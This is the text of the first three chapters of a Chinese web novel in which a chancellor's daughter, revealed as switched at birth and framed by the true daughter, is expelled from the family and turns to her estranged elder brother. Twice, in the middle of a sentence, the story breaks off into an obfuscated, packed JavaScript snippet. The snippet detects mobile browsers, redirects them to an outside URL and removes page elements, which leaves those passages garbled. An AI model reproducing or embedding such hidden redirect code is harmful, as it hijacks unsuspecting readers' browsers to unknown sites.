《吾妹娇蛮》 1. 第 1 章 天顺二十年,金吾不禁夜,崔家二房嫡女崔弗君被父亲逐出家门。 崔弗君,小字绛奴,排行第五,碧玉年华,性娇纵高傲。 “我乃博陵崔氏崔弗君!” “我怎么可以是一介农妇之子?” “我阿耶是当朝宰相,我阿娘出身范阳卢氏,我是阿耶和阿娘的亲生孩子。” “与我缔结婚约的是崔家嫡出的五娘子,此为圣上赐婚,即便我是王爷也断不可忤逆。” “弗君,对不住,我爱慕你,你可愿为我委屈一二?” ......无数碎片幻化成一个真真假假的梦,崔弗君蹙起眉间,额头滚下冷汗,耳边捕捉到什么,崔弗君从昏厥中醒来。 “娘子,您醒了,头还疼不疼?”侍婢小心翼翼关切道。 崔弗君眼神涣散,魂不守舍望着屋中一角,惊惶逐渐散去,须臾,脑海中惊现这三日发生的大事,身体战栗。 正月过去,崔府一家子刚陪崔弗君过完十六岁生辰,热闹喜庆,尔后没多久崔弗君就得知一个惊世骇俗的噩耗—— 她竟然不是崔家的孩子,而是一个农妇的孩子。 昔年卢氏上山祈福,路遇意外,被迫和一农妇困在山腰一处破落土地庙,卢氏受到惊吓早产,刚好农妇也生产,彼时正是雷雨交加之夜,农妇知晓卢氏出身不凡,起了歹心,农妇趁乱将她生的女儿和卢氏生的女儿调换。 从此以后,两个女孩的命运发生翻天覆地的变化。 真假鸾凤颠倒。 农妇的女儿摇身一变成了高门士族的嫡出娘子,身份尊贵,锦衣玉食,娇生惯养,学文通礼。 而卢氏的女儿则是成了农妇的女儿,随农妇终年穿梭于田间山野,织布劳作。 若非去岁年末农妇病重,良心发作,愧对养大的女儿,修书一份至崔府告知真相,恐怕崔府上上下下的人都被瞒在骨子里,甚至可能一辈子都不会知晓真相。 崔家起初并不认为农妇所言为实,毕竟堂堂门阀士族竟被一粗鄙低贱的农妇算计,那世家大族的颜面往哪里搁? 怕是会被所有人笑话。 可经查验,农妇所为的确为实,崔相立刻着人去乡下将赵百草接回来,当时陪同赵百草回来的人还有赵百草的父兄。 真娘子被接回府时,崔弗君才得知此事,大惊失色,见卢氏一脸严肃,崔弗君明白这不是梦,而是真的。 崔弗君最自豪的事便是自己的出身门第,可有一日蓦然被告知你并非崔家之女,崔弗君险些崩溃。 高傲娇纵的天之骄女一夕之间从云端跌落泥沼,崔弗君少不经事,被溺爱长大,难以接受,心中不住恐慌,害怕被抛弃,好在卢氏安抚了崔弗君情绪。 卢氏就一子一女,她和大儿子不亲,将所有爱意全然倾注在小女儿身上,对她从来溺爱,而崔相对崔弗君亦有愧疚,两者包容,崔相又睁一只眼闭一只眼,以至于崔弗君养成了个娇纵的性子,无法无天。 卢氏和崔相已然和崔弗君有了深厚亲情,哪怕厌恶那手段下作的农妇,也不舍让崔弗君离开,无法割裂这十几年的感情。 何况这场偷龙换凤里崔弗君没有错。 而他们两个也清楚崔弗君的性格,女儿姿容明艳过惯锦衣玉食的日子,又是个惹事的性子,假若没有他们护着,怕是会被外面的豺狼虎豹吃得一干二净。 两人放不下崔弗君。 是以卢氏和崔相商议后依旧认崔弗君,换孩子这种事不足为外人道,两人决定接赵百草回来后对外宣称崔家本来就有两位嫡出小姐,只其中一人经高僧批命命途坎坷,遂养在乡下庄子里,只待长大后接回来。 如此解释最好,只崔弗君的婚事却又是一个令人头疼的问题,此话另讲。 有卢氏承诺和宽慰,崔弗君有了底气,不再惊惶,绽放笑颜。 从卢氏口中得知真娘子的名讳赵百草。 崔弗君挑眉,尔后随卢氏去正堂见进府的赵百草,崔弗君没露面,就是在屏风后偷偷打量赵百草一家。 目及赵百草的拘谨和好奇,崔弗君抬起下巴,面色带着从锦绣堆里养出来的高傲,心想这名字可真俗气,又见赵父和赵百草的兄长,或者说她崔弗君的亲人,崔弗君面上没有喜色,蹙起眉头,目中满是嫌弃。 卢氏见到赵百草又高兴又心疼。 见卢氏拉住赵百草的手,崔弗君咬了咬唇,她欲离开,可脚却黏在地板上动不了,只能看着这悲喜交加的骨肉相认画面。 赵百草叫了爹娘,卢氏眼眶发热,而崔相则是替赵百草重新起了一个名字——崔静姝。 这一场认亲仪式终于告一段落。 赵父在这时提出想见见崔弗君,还想带女儿离开,毕竟他归还了崔家的女儿,那崔府合该把他的女儿也还回来。 崔相当即拒绝,他没追究赵家狸猫换太子的罪就算了,赵家竟敢还想要崔弗君?冒昧无知,厚颜无耻。 帘幕之后的崔弗君更是满脸不情愿,小声嘀咕:“谁要和你回去啊。” 崔弗君接受不了自己的亲生父亲竟是一佃农,“你才不是我父亲呢。” 赵家父子很快就被崔相着人送出去,崔相也回去当值了。 崔弗君没去见这个名义上的“妹妹”,知道现在正是卢氏和崔静姝熟悉彼此的时候,心里不是滋味,跑出去纵马。 回来之后,崔弗君就见到了挽住卢氏小臂的崔静姝,母女有说有笑,好不亲密,崔弗君心里不好受,转身走了。 次日突然被告知自己要搬出去,卢氏说委屈她去别院里住两天再回来。 崔弗君不解,郁闷极了,脾气一下子上来了,卢氏只好告诉崔弗君是崔相怕她锋芒太甚影响到刚进府的崔静姝。 卢氏也怨崔相的冷漠,可他的担心不无道理,但崔弗君若知道此事...... 两边都是心头肉,卢氏夹在中间很为难,可崔静姝刚进府,断然是不能让孩子受委屈的,好歹是她亲骨肉,还在外受了那么多苦,她当母亲的不能对不住崔静姝。 崔弗君气不过,怒声:“我欺负她什么?” “我才不搬!” 崔弗君不想让卢氏为难,可气性上来了,她实在忍不了这口气。 崔弗君过惯了被人捧着宠着的日子,哪里肯受这委屈?而且如今父母的关心和爱护还被分走,崔弗君受不住,心又酸又怒,什么都吃不下,想出去纵马,马却不舒服了。 骑不了爱马,崔弗君独自一人在园子里挥金鞭子打碎沿途的花草发泄闷气,然后就撞见崔静姝。 她细声细气叫崔弗君“姐姐”,崔弗君心情不好,语气像是烧出火药味了:“谁是你姐姐?” 崔弗君讨厌崔静姝,也不想看到她,越过人就要走,崔静姝却拦住崔弗君,失落道:“姐姐,你不喜欢我吗?” 可从来没有人敢拦住崔弗君的路,而崔静姝拦了,换做之前也许崔弗君不会和崔静姝计较,可眼下崔弗君就是一根即将喷火的枪管子,被崔静姝烦得不行,心中火气正甚,用力甩开崔静姝的手。 “谁许你碰我的?” 崔弗君一挥手里的软鞭,吓唬她让她赶紧滚。 可崔静姝毫无眼力见,不仅不滚,还无知地撞在枪口上,让崔弗君不要生气,说什么她不会抢她的东西,她会老老实实的...... 一连串的话进入崔弗君的耳朵里,崔弗君彻底不耐烦了,一鞭子挥过去,眉目凌厉:“让开!” “无知之辈,你可知这金鞭是——” 话音未落,金鞭子好巧不巧打到人家的身子上,崔静姝痛得后退,身姿不稳,身后就是莲湖,崔弗君注意到什么,伸出手微微张开嘴巴,像是要提醒什么。 却在这时,崔静姝抓住崔弗君的手:“姐姐,你怎么能这样......” 话音未尽,崔静姝掉进了冰冷透骨的莲湖里,在水面扑腾挣扎,明显不会凫水。 而这一幕刚好被身后回来的崔相看得是清清楚楚,从崔相的视角,就是崔弗君将崔静姝推进了湖水里,飞扬跋扈,欺人太甚。 “崔弗君,你在做什么?!” 崔弗君抬眸对上崔相严肃愤怒的眼神,脑子一白,懵了,支支吾吾:“我、我......” 崔静姝被救上来,昏迷不醒,当夜发起高热,性命堪忧,眼下尚是寒月,水池冰寒,掉下池子小半条命都要没。 崔相大怒,没收崔弗君的金鞭,指责她拿着圣人御赐的鞭子为非作歹,罚崔弗君跪祠堂反省,不许任何人见她,包括卢氏。 这是崔弗君十六年来头一回被骂被罚,一罚就是跪祠堂,可见崔相的怒火之盛。 孤苦伶仃在祠堂跪了一夜,崔相过来道:“可知错了?” “我没错。”崔弗君坚持道,“阿耶,我没推她下去,是她自己——” 崔相拂袖,打断道:“崔弗君,你还要推卸责任?我为何就教出你这种女儿?你太让我失望了!” 面对父亲的不信任,崔弗君心中委屈愤懑,咬牙道:“阿耶,我没错。” 崔相差点背过气去:“够了,冥顽不灵,你可知静姝差一点就死了?你险些就成杀人凶手了,我崔氏门楣讲究兄弟姊妹友爱,可从来没有出现过弑妹相残之辈,而你算是开了先河。” “你可有想过,若外头的人知道你欲谋害静姝,那我崔家百多年来经营的声望就会被你毁于一旦!而朝野之上的人更会以此为把柄参我教女无方,我今后还如何在朝堂之上立足?!” “你可知罪?” 崔弗君挺直身板,咽下委屈,辩解道:“阿耶,您的教诲我始终铭记于心,我以出身崔家为傲,从来没有做过让崔氏蒙羞的事来,从前不会,今后也不会。” “阿耶,我没错,也不认罪。”崔弗君扬起高傲的头颅,在祠堂跪了一夜,崔弗君回想当时画面,愈发觉得是崔静姝故意为之。 她不是不小心落水,而是故意落水,好让崔相误会是她推人下去的。 崔静姝远没有表面的柔弱乖巧。 而她何错之有? 她没错,她都让崔静姝走开了,是崔静姝非要当拦路虎凑在她面前。 见崔弗君固执己见,死不悔改,如一头犟种,崔相勃然大怒。 “崔弗君,你触犯家规,犯下大错却不知悔改,罪加一等,我身为崔家家主必须秉公执法,即日起,你被崔氏除名,剥夺崔姓,禁入祠堂!” “出去!” 崔弗君瞳孔骤缩,不可置信地看向崔相。 从得知自己非崔氏血脉,崔弗君就无法接受自己的身份,下意识麻痹自己,又得卢氏承诺,崔弗君开始得意,活在自己的美梦里,而崔相的一番话,无情将崔弗君美梦击碎,并打入地狱。 “阿耶!” 崔相背影冷漠。 崔弗君被送回海棠轩,手脚瘫软,耳边响起父亲冷酷无情的声音,脑中浮现父亲那不近人情的怒容。 父亲竟将她逐出崔家。 她没错!父亲却不相信她。 崔弗君难过又委屈,平生第一次感觉天要塌了,头晕目眩,呼吸困难,浑浑噩噩间她一头撞在梁柱上,登时昏厥过去。 昏厥之后,崔弗君便做了一个荒唐却真实的梦。 梦里发生的事和她如今经历的事一模一样。 她不是崔相和卢氏的孩子。 在梦里,她被崔相责令逐出家门后,她不肯离开崔家,偷偷去找卢氏,卢氏却也不相信崔弗君,让她先离开去庄子里,日后她会再想法子接她回来。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169077|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她要在外面住到何时? 所以梦里的她跑到崔静姝院中大闹,与其对质,让崔静姝和父亲解释,此举再次触及崔相底线。 崔弗君就这样被逐出家门,想不开时又介意自己死得太潦草窝囊,末了辗转回到赵家,野心勃勃。 从前在长安城内耀眼高傲的崔家嫡女不复存在,落得一个满身污泥,成了一个庶民。 梦里的事模糊了起来,崔弗君最后只看到自己成为未婚夫魏王的妾室,而崔静姝则成为魏王正妻,她嫉妒不甘,不惜谋害崔静姝,以至于落得个不得好死的下场。 梦境中的事着实真实,真实到崔弗君不得不相信,她的确想过去找崔静姝,让真相大白。 然梦中发生的后事告诉她,真相无法大白,如今崔相和卢氏的心不在她这边。 崔弗君也因此恍然大悟,她再也不是父亲和母亲的掌上明珠了,曾经娇纵高傲的崔弗君被迫长大。 她艰难呼吸着,手在发抖,鼻头更是一酸,孤立无援的绝望将她笼罩。 好不容易迫使自己冷静下来,她面色焦躁惶恐,该怎么办? 下一刻,崔弗君脑中冒出一个念头,那就是不择手段也要留在崔家。 “娘子,细软奴婢已经给您收拾好了,方才夫人派人过来说马车已经备好,让您前往角门。”侍婢道。 崔弗君抬眸扶额,掌心满是冷汗:“我昏迷多久了?” 音色带颤。 侍婢:“快一天一夜了。” “什么时辰了?” “申时二刻了。”侍婢说。 崔弗君看着侍婢,再环顾周围,突然发现一件事,从前她屋里屋外全是人,只待她醒,便有七八个侍婢鱼贯而入,伺候盥洗。 现在闺阁安静冷清。 崔弗君:“其他人呢?” 侍婢沉默,如实说:“娘子,就剩奴婢一个了。” “全走光了?”崔弗君震惊,不相信平日围着她打转、随叫随到的老媪、贴身侍婢等近二十位下人一个不剩全走了。 其中老媪可是崔弗君院里的管事嬷嬷,陪了她十多年,一向对崔弗君纵容溺爱,可她也离开了。 侍婢垂首:“娘子消气,他们也是没办法,都被老爷调走了。” 崔弗君感到背叛,怒不可遏,咬牙切齿道:“这群忘恩负义的奴婢!他们尔敢!真该扒了他们的皮!用鞭子狠狠抽他们一顿——” 崔弗君还欲斥责,蓦然想起自己如今已然不是崔家的五娘子,不是崔弗君,而是赵弗君了。 是以他们这些下人弃主而去情有可原。 巨大的落差感让崔弗君的恼怒烟消云散,透骨心寒,末了变得茫然无措,被逐出家门还不够,她又经历了一次身边侍婢走掉的打击,第一次亲身明白什么叫树倒猢狲散,人心易变。 许久之后,崔弗君冷静下来,挺直腰板,维持自己最后一丝体面,即便只有一个侍婢瞧见。 “那你为何不走?” “奴婢是娘子院里的人,卖身契在娘子手里,自当忠于娘子,无论娘子去哪,奴婢亦当跟随。” 崔弗君吃惊,注视眼前的侍婢,她面孔陌生,崔弗君好似并未见过她,主要是她院里的侍婢太多,她也一向不记得侍婢的名字和面貌,主要是没必要记住。 崔弗君顶多记住四个贴身婢女和管事嬷嬷的名儿。 “你叫什么名儿?”崔弗君道。 侍婢:“半夏,是娘子院里的二等侍女。” “半夏。”崔弗君念,“这名儿有点耳熟。” “是娘子给奴婢取的。”半夏道。 崔弗君想不起来了。 半夏有些失落,但也不介意主子不记得她这个人,她本来寡言少语,在侍婢中也不起眼,偶然一次给主子梳发髻得了崔弗君喜爱,被问其名儿,崔弗君嫌名字不好听,给她重新起了个名字,本可以借此等崔弗君青睐,只可惜被其他人排挤,渐渐离了崔弗君的视线。 不过主子给她取了名字已然是她最大的荣幸,她很喜欢这个新名字。 “我记住了。”崔弗君道,回想自己做过的梦,梦里似乎有一个侍女跟在自己身后。 半夏怔然,随即便是欢喜。 崔弗君问:“你真要跟着我?” “是。”半夏斩钉截铁道。 “我昏迷后是你一直照顾我?” 半夏颔首。 崔弗君面色归为平静,眉眼再不见张扬和娇纵:“有劳你了,你先出去,让我自己待一会。” 半夏心疼,说:“娘子无须言谢,此乃奴婢该做之事,还有娘子那边夫人的人过来催了。” “你就说我还没醒。” “是。” 屋中只剩下崔弗君一人,她再也无法遮掩脆弱,不住颤抖,绞尽脑汁想法子摆脱困境。 阿娘也不肯帮她,那谁还能帮她? 还有谁,有谁? ...... 灵光一闪,崔弗君想到了一个人,她远在祖地的兄长崔昭湜,年及弱冠,今岁便要正式入仕。 今年尚书省省试定在二月。 崔家子弟可借门荫入仕,但家族倡导科举入仕,方不负崔家之名。 卢氏说过,崔昭湜年前便启程赶往长安,约莫上元节前后抵达长安。 崔昭湜。 如今只有崔昭湜能改变局面。 今日正是上元节,没有宵禁。 崔弗君心中阴霾顿消,紧接着又念及自己和崔昭湜八年未见,关系疏远,他当真会襄助她? 但崔弗君想不了太多了,犹豫成不了事,崔弗君当机立断,索性跑出门抢了一位少年的骏马而去。 落日熔金,那一抹策马出府的绯红如永不熄灭的骄阳烈焰。 2. 第 2 章 崔昭湜自河北道冀州祖地而来,沿途过东都,那他定是从东门进城门,此时日落,要么在灞桥驿,要么至长乐驿,抑或在来的路上了。 崔弗君快马加鞭出门,一路东行,出通化门,她便摘了帷帽好识路认车。 残阳余晖蔓延在天边,清冷寒凉,与枯树昏鸦相映,又落入结冰河中,像冻僵的蜜蜡。 朔风猎猎,砭骨寒风扑面而来,像冰刀子似的在崔弗君娇嫩的面靥上刮挠,又冷又疼,冻得她鼻子和脸颊通红僵硬,嘴唇哆嗦,然崔弗君的眼睛始终眺望前方,目不斜视,一往无前。 距离长乐驿站差一里时,崔弗君看到了远处官道前方缓缓行进的犊车,车前驭奴着青布衫,旁边还有个骑马的佩剑护卫,亦是青色衣裳。 崔弗君眼力不俗,觉得像崔家的犊车,人也像是崔家的仆役,崔弗君攥紧缰绳,挥鞭不顾一切往前。 又靠近了一些,为看得清楚,崔弗君勒马,这下瞧得真切了。 犊车车身以楠木为主而制,黑漆车厢外的壁上雕刻“崔”字篆纹,车幔边缘悬挂青色流苏。 博陵崔氏以“青”为家族色,青,山水之色也。 是崔家的犊车。 崔弗君确定了,立即低喝一声:“驾。” 与此同时,犊车上的驭奴和旁边策马的护卫也是瞧见了冲他们而来的崔弗君。 护卫眯了下眼睛,道:“郎君,前有一娘子,是五娘子。” 宽敞车厢里,崔昭湜倚壁,姿态慵懒矜贵,披一件银色狐裘,执卷而阅,膝上卧一只淡褐色的豹猫,斑纹纵横,黑白相间。 护卫禀告时,豹纹狸奴正好叫了一下,音色盖过护卫后面的声音。 崔昭湜目光落在书卷上,慢条斯理摸了一把不耐烦准备下去的狸奴,狸奴立刻老实了,继续睡在崔昭湜膝上。 崔昭湜正要开口,急促的马蹄声渐近,下一刻一道清亮发颤的声音穿空而来:“阿兄。” 日暮西沉,寒风呼啸。 崔昭湜放下书卷,掀开帘子,通透的暮色下,一个女郎正策马奔向他,身姿蹁跹,衣袖鼓风,织金披帛飞舞。 女郎红衣如火,面容娇艳通红,眼下一颗泪痣,额有青紫,与他对视的那一刻,女郎眼眸鲜亮闪烁,泪光涌出,似有万千委屈苦楚要诉说。 崔昭湜静静望着年轻的女郎,打量那张陌生的面孔。 面孔陌生,然幼时记忆回笼,娇小的女童和面前的女郎样貌贴合。 是他八年未见的妹妹。 崔昭湜没应声,将膝上的狸奴赶下来,注视马背之上的崔弗君,心中诧异。 马嘶声起,崔弗君勒马停下,看着八年未见的兄长,观他态度,一时忐忑紧张,攥紧手心,崔弗君吸了一口气,颤着眼睫再度唤道:“阿兄。” “是我,绛奴儿。” 父母多叫她绛奴,唯有崔昭湜叫她绛奴儿,独崔昭湜一人的叫法,亲昵至极,可见昔年兄妹情深,关系亲近。 崔弗君提及过去昵称,便有示好之意,只她不是特意会藏情绪的,眼睛不住眨动。 崔昭湜启唇:“嗯,我知道。” “作为兄长,哪怕你我暌违八年,我亦不会不认得自己的妹妹。” 说着,崔昭湜微笑,他生有一双桃花眼,眼尾上翘,唇角更是衔着浑然天成的笑意,这股笑意冲淡了他形貌的昳丽,更添几分谦谦君子的清逸淡雅的气质,温其如玉。 看人时温煦而柔和,叫人如沐春风,不自觉放下防备,忍不住亲近。 崔弗君看着崔昭湜,晃了下神,来不及为崔昭湜巨大的变化震惊,她缓缓下马,屈膝见礼:“绛奴儿见过阿兄。” 琢磨他的话,他似乎还不知道崔府发生的事。 崔昭湜:“妹妹无须多礼。” 崔弗君指节用力。 “你长大了,过来让阿兄好生瞧瞧。”语气算不上亲近,却含着一位兄长对妹妹的关心。 但这点关心崔弗君紧紧抓住了。 她款款来到崔昭湜面前,半垂眼帘,未与崔昭湜对上视线,沉默地接受崔昭湜自上而下的端量。 三个呼吸后,崔弗君没听到崔昭湜开口说什么,倒是听到了猫儿的叫声,抬头,见崔昭湜低头,视线已然不在她这里,看起来并不是很在意她这个妹妹。 崔昭湜并非出生便住在祖地,而是在十二岁时被崔相安排去祖地养病。 崔弗君和崔昭湜是自小相伴长大,崔昭湜从小便是家族异类,出生不会笑不会哭,五岁还不会开口说话,性格孤僻,仿佛没有人的感情,伴随怪病,直到妹妹出生,崔昭湜开了口。 而崔弗君不像旁人畏惧嫌恶崔昭湜,仿佛很喜欢崔昭湜,兄妹感情深厚,几乎是寸步不离,如同连体婴。 然天有不测风云,兄妹两人因一场意外决裂,就此分道扬镳。 经年不见,物是人非,关系疏离,形同陌生人。 即便如此,崔弗君和崔昭湜之间的旧情无法磨灭,崔弗君才敢冒险赌一把,她相信崔昭湜会念在过往情分帮她的,前提是她低头开口。 若是往日,崔家的五娘子根本不懂什么叫低头,更不懂什么叫示弱讨好,她傲慢张扬,宁折不弯,家族给予她足够的自信和底气,可她如今已经没有家族了,也非崔家的嫡女,只是个平民。 来找崔昭湜便是带着求的意思,不负过往自尊和高傲,尝尽辛酸屈辱。 “阿兄。” 崔昭湜似乎没听到,空气沉默,气氛莫名的微妙生分。 崔弗君拔高声音:“阿兄。” 崔昭湜应了一声,“养的豹猫在闹。” 言毕,崔昭湜主动询问道:“额头为何磕伤了?” “不小心撞到,小事,多谢阿兄关切。” “妹妹怎地来了?”崔昭湜不疾不徐问,嗓音清雅温润,如玉石一般。 “听阿娘说阿兄要赴京赶考,我算着日子,估摸今儿阿兄快到了,特出城相迎。” 崔昭湜俯视崔弗君,莞尔道:“妹妹有心了。” 四周再度沉寂,崔弗君打破沉默,道:“阿兄这些年过得可好?” “尚好。” 崔弗君荡出笑容,明艳动人,像是打心底为崔昭湜高兴:“那真是太好了。” 兄妹两人互相微笑,仿佛昔年的决裂并不存在,他们是久别重逢的兄妹,关系照旧亲密。 笑着笑着,崔弗君不知想到什么,神色转瞬黯淡,眼眸闪烁水光,红唇紧抿。 崔昭湜将崔弗君的表情变化收入眼底,终于问出崔弗君期许的话:“妹妹这是怎么了?” 听言,崔弗君心里的委屈和苦楚倾巢而出,她压抑着腔调,垂首哑声:“阿兄,我......” 崔昭湜惊讶,说道:“上来吧。” 崔弗君上了犊车,推开木门,进入里头,车厢宽敞温暖,底铺毛皮茵褥,崔昭湜坐在上首小榻上,透过车帘落进来的光将他的脸庞分割,光影交错斑驳。 他得膝上睡着一只斑纹豹猫,中间放置一张长几,几上有茶器、书卷、香薰炉等物件,旁边角落放了一个铜脚炉。 香炉里烧的是清凉提神的合香。 崔昭湜给崔弗君斟了一杯茶。 “多谢阿兄。”崔弗君端起杯盏小酌一杯。 崔昭湜看到崔弗君的双手被冻得通红。 吃了口热茶,崔弗君僵冷的身躯逐渐回暖,将早已斟酌好的言辞缓缓道出。 “阿兄可知晓府里发生的事,此事与我有关。” “早些时候父亲写信与我说了。” 他知道。 崔弗君心里一咯噔,又仔细揣摩两人重逢过崔昭湜的言行举止,落魄道:“那想必阿兄知晓绛奴儿并非是阿兄的胞妹了。” 崔昭湜没有反应,崔弗君垂首,也看不到他的反应,见他无动于衷,崔弗君焦躁死了,深吸一口气。 她记得梦里崔静姝正是靠那柔弱可欺的表象将所有人欺骗过去,崔弗君从来不屑于此,可身陷囹圄,又想到自己那呕得很的死法,她便不甘愤怒。 她恨梦里的自己,愤怒梦中自己一步错步步错,她不要重蹈覆辙,必须破局。 “阿兄,我很害怕。”崔弗君肩膀颤抖,像是快要碎开。 “我们自幼感情好,虽与你分别多年,可绛奴儿心里其实是想念你的,我那时太小,不懂事,明明阿兄疼我,可我却回绝阿兄的邀请,是以绛奴儿欠阿兄一句对不住。” “妹妹何须说对不住,过去的事便让它过去吧,而且你没错。”崔昭湜语调平和,言语中没有丝毫责怪之意。 “错的是阿兄。” 崔弗君抬头,与崔昭湜四目相对,此时此刻,横贯在兄妹两人多年的隔阂疏离似乎在这一刻烟消云散。 “绛奴儿,你始终都是我的妹妹。”崔昭湜道。 崔弗君愕然,没有料到这么快就试探出了结果。 “阿兄,你莫要诓骗我。” “我何必诓骗你?你也说了,我们自幼长大,兄妹情分摆在那里,我岂会不认你这个妹妹?” “有些东西,不是仅靠血脉便可衡量。” “所以你何须害怕。” “阿兄......”崔弗君眼眶发热,无论过去他们有何龃龉,这一刻崔弗君是感激崔昭湜的。 “谢谢你。” 崔昭湜温和道:“你我兄妹,无须言谢。” 崔昭湜将掌心的铜手炉放置在小几上:“暖暖手罢。” “谢阿兄。”崔弗君拿起小巧玲珑的铜手炉暖手,复而低下头颅,方才的喜悦之中突然掺和了沉甸甸的忧愁惶然,以至于她不自觉绞住手指。 “还遇到何事了?有话不妨直言。” 崔弗君犹豫了一会儿,哑声道:“阿兄,我有冤屈,还望阿兄为我昭雪。” “此言怎讲?” 崔弗君:“阿兄也当知晓阿耶将她接回府中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169078|196805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取名‘崔静姝’,我自知鸠占鹊巢,对她回来并无异议,只阿耶让我去别院住,我心中烦闷,在花园散步,谁知她出现挡住我去路,然后她便自个不小心掉进水里,被阿耶看个正着。” “她昏迷过去,阿耶认定是我愤恨歹毒,故意将她推下水,罚我跪祠堂反省......”每说一次,便是把崔弗君心头的痛苦再重现一遍,她感觉自己的骨头在承受凌迟,有鞭子在抽打她的身体。 崔弗君委屈道:“阿兄,我根本就没有推她下水,可是阿耶却不相信我,见我拒不认错,大怒之下......将我逐出家门,甚至要剥夺我的姓。” 崔弗君哽咽。 “我承认自己平素娇纵肆意,可我从不屑行此无耻下作之举,我自小受崔氏家学,君子行事,敢作敢当;欲加之罪,宁折不弯,绝不屈认。” 崔昭湜睨崔弗君,抚摸猫儿的背。 “是我所为,我自会承认,立担责任,可我没有害崔静姝之心,更遑论推她下水谋害性命,阿耶心向于她,我有口难辩清白,是以——” 崔弗君正色:“恳请阿兄为我主持公道,还我清白。” 待崔弗君话音落下,车舆之中恢复安静。 崔弗君急了,忐忑不安,咬牙道:“阿兄可是不信我?” “非也。”崔昭湜捏住膝上野性难驯的豹猫的后颈,豹猫乖巧,没有一丝一毫的反抗。 “我自是相信妹妹。” 崔昭湜道:“父亲此举确实有失偏颇,妹妹的请求我承了。” 崔弗君瞪大眼睛,直直望着崔昭湜,回过神,给崔昭湜行礼:“多谢阿兄。” “无妨,我会尽力而为,但若父亲执意,妹妹要做好打算。” “......我知道。” “茶要凉了。” 崔弗君端杯吃茶,手指颤栗,这回她尝到了茶的滋味,口味非常清淡苦涩。 是清茶。 长安城的文人雅士和门阀世家俱推崇清饮,只加盐追求茶的本味,包括崔相和卢氏都喜欢吃这种茶。 唯独崔弗君偏生不喜,她吃茶时喜欢在里头加胡椒、茱萸等辛香料,口味辛辣。 原来过去吃茶的口味就已然说明她崔弗君是假的迹象了。 崔弗君暗暗自嘲一笑,但她很快就不再沉湎过往,沉下心来想起正事。 “阿兄。” “怎么了?” “我想留在崔家。”崔弗君垂头,语气略显生硬,却是她的心声。 “你没有犯错,自然可以留在崔家。” “阿耶和阿娘都想我走,怪我锋芒毕露会影响她。” “你会吗?” “不会。”人不犯我,我不犯人,崔弗君的行事风格历来如此,不过崔静姝故意构陷她,这次大亏她记下了。 “我会和父亲商议。” “多谢阿兄帮我,绛奴儿无以回报,铭感五内。” 话音甫落,车厢里响起了咕噜噜的声音。 崔昭湜看着崔弗君,崔弗君捂住肚子低头,脸庞红成一片,比熟透的螃蟹还要红。 怎么肚子突然在这个时候叫起来?什么时候叫不好,偏生在崔昭湜面前。 崔弗君感觉颜面要丢光了,梗着脖子,恨不得找个狗洞钻进去躲起来,浑身发热,羞恼窘迫到极点,不由骂了自己几下。 好在崔昭湜没有嘲笑,而是从旁边的盒子里拿出胡饼。 “胡饼是冷的,妹妹若不介意,可吃饼充饥。” 崔弗君想说自己不饿,可话到临头,她干笑道:“对不住阿兄,我失仪了。” “无碍,是人都会饿,妹妹多久没吃饭了?” 崔弗君皮笑肉不笑,心下恼火崔昭湜问得太多,面上却乖巧道:“一天吧。” “一天?” 崔弗君轻咳一声,嗫嚅道:“我磕头后昏了一天一夜。” 崔昭湜打量崔弗君额头的青紫:“疼吗?” “不疼。” “可上药了?” “嗯。” “妹妹快吃吧,该启程了。” “阿兄,我可否坐你犊车回去?” 崔昭湜颔首,吩咐外头的护卫牵马,让驭夫启程,赶在天彻底黑下时入长安。 崔弗君接过胡饼,细细吃起来,确切说起来她有近两天没吃东西了,得到崔昭湜的承诺后,心里的石头稍稍平衡,身体便感觉到强烈的饥饿感。 若是从前崔弗君根本不会碰这种面点,她更喜欢吃毕罗,然今非昔比,崔弗君咬了一口胡饼,发现这饼还挺好吃的。 崔弗君吃得很香。 崔昭湜漫不经心掠过崔弗君吃饼的样子,轻轻抚摸腿上的猫儿,神态闲适,似笑非笑。 吃了两块胡饼,面前出现一条洁白如雪的罗帕。 崔弗君接下罗帕,用来擦嘴,说:“待我洗净再还给阿兄。” 寒风阵阵,日光晦暗,犊车往长安城而去。 3. 第 3 章 天色昏黑,长安城内灯火通明,游人如织,繁华至极。 至城门口,夜色笼罩,巍峨城门如巨兽将人吞噬入腹。 崔昭湜递了门籍红签给守门侍卫,得放行。 崔宅在崇仁坊东北隅。 犊车最后停在崔宅门口,车厢里崔昭湜道:“待进府,妹妹且先回去歇息,亦可去游灯市,今日是上元节。” 崔弗君哪里还有游玩的心? “我回去歇息,静等阿兄消息,就拜托阿兄了。” 两人先后下车,这天虽是上元节,然崔府却戒备森严,毕竟出了那档子事。 崔昭湜在祖地八年,饶是门房也认不出,不过门房看见了崔弗君,也看到车厢上的崔家标志,得上头嘱咐,门房极有眼力见,猜测青年正是归家的三郎君。 “见过三郎君。”门房吩咐人将三郎君归家的消息告诉老爷,并毕恭毕敬相迎。 崔昭湜颔首。 门房又道:“五娘子。” 彼时崔府的下人只知府里多了一位嫡系的娘子,尚不知崔弗君被驱逐出府的消息。 崔弗君攥得手心,和崔昭湜步入府内,尔后分道扬镳,崔弗君不敢面对崔相,径直回海棠轩。 半夏见崔弗君,立刻出来相迎,担忧道:“娘子,您终于回来了。” “您还好吗?” 